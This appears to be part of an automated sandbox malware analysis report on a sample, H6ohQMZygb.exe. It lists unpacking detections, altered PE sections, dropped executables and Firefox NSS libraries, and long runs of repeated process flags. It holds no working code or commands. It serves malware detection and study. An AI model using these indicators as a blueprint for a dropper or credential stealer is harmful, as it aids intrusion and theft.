Source:	Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\Perceive\obj\Debug\Perceive.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_es-es\obj\Release\Locale_es-es.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_zh-tw\obj\Release\Locale_zh-tw.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Unpacked PE file: 0.2.H6ohQMZygb.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Unpacked PE file: 1.2.u5e0.0.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Unpacked PE file: 0.2.H6ohQMZygb.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Unpacked PE file: 1.2.u5e0.0.exe.400000.0.unpack

.NET source code contains potential unpacker

Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3e070000.15.raw.unpack, TelemetryConfigurationFactory.cs	.Net Code: LoadInstance
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dfc0000.14.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray
Source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dfc0000.14.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Code function: 1_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00416240

Source: relay.dll.0.dr	Static PE information: real checksum: 0x18dd31 should be: 0x1911f6
Source: UIxMarketPlugin.dll.0.dr	Static PE information: real checksum: 0x1a091a should be: 0x1a090e
Source: run.exe.0.dr	Static PE information: real checksum: 0x2626e4 should be: 0x25f5d2
Source: H6ohQMZygb.exe	Static PE information: real checksum: 0x6e2c5 should be: 0x6e2cb

Source: u5e0.3.exe.0.dr	Static PE information: section name: .didata
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0042B02C push eax; ret	0_2_0042B04A
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_00431375 push esi; ret	0_2_0043137E
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_0040984F push ecx; ret	0_2_00409862
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_00409D96 push ecx; ret	0_2_00409DA9
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E2B293 push eax; ret	0_2_02E2B2B1
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E1C6BF push esp; retf	0_2_02E1C6C7
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E09AB6 push ecx; ret	0_2_02E09AC9
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E21E32 push dword ptr [esp+ecx-75h]; iretd	0_2_02E21E36
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E09FFD push ecx; ret	0_2_02E0A010
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E1CCBD push esp; retf	0_2_02E1CCBE
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02EF9A94 pushad ; retf	0_2_02EF9A95
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02EFC3AF pushad ; retf	0_2_02EFC3B6
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02EFAB7D push ecx; iretd	0_2_02EFAB9B
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02EF9B1A push 00000059h; ret	0_2_02EF9B1D
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02EFC099 push 2B991403h; ret	0_2_02EFC0A0
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02EFC9C0 push 00000061h; retf	0_2_02EFC9C8
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02EFA978 push esi; ret	0_2_02EFA97A
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_004176C5 push ecx; ret	1_2_004176D8
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFCB536 push ecx; ret	1_2_6BFCB549
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0115FB55 push ecx; ret	2_2_0115FB68
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0115FAB6 push ecx; ret	2_2_0115FAC9

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	File created: C:\Users\user\AppData\Local\Temp\u5e0.2\UIxMarketPlugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	File created: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	File created: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	File created: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	File created: C:\Users\user\AppData\Local\Temp\u5e0.2\relay.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications

Jump to behavior

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Code function: 0_2_004087FA GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004087FA

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Process information set: NOOPENFILEERRORBOX
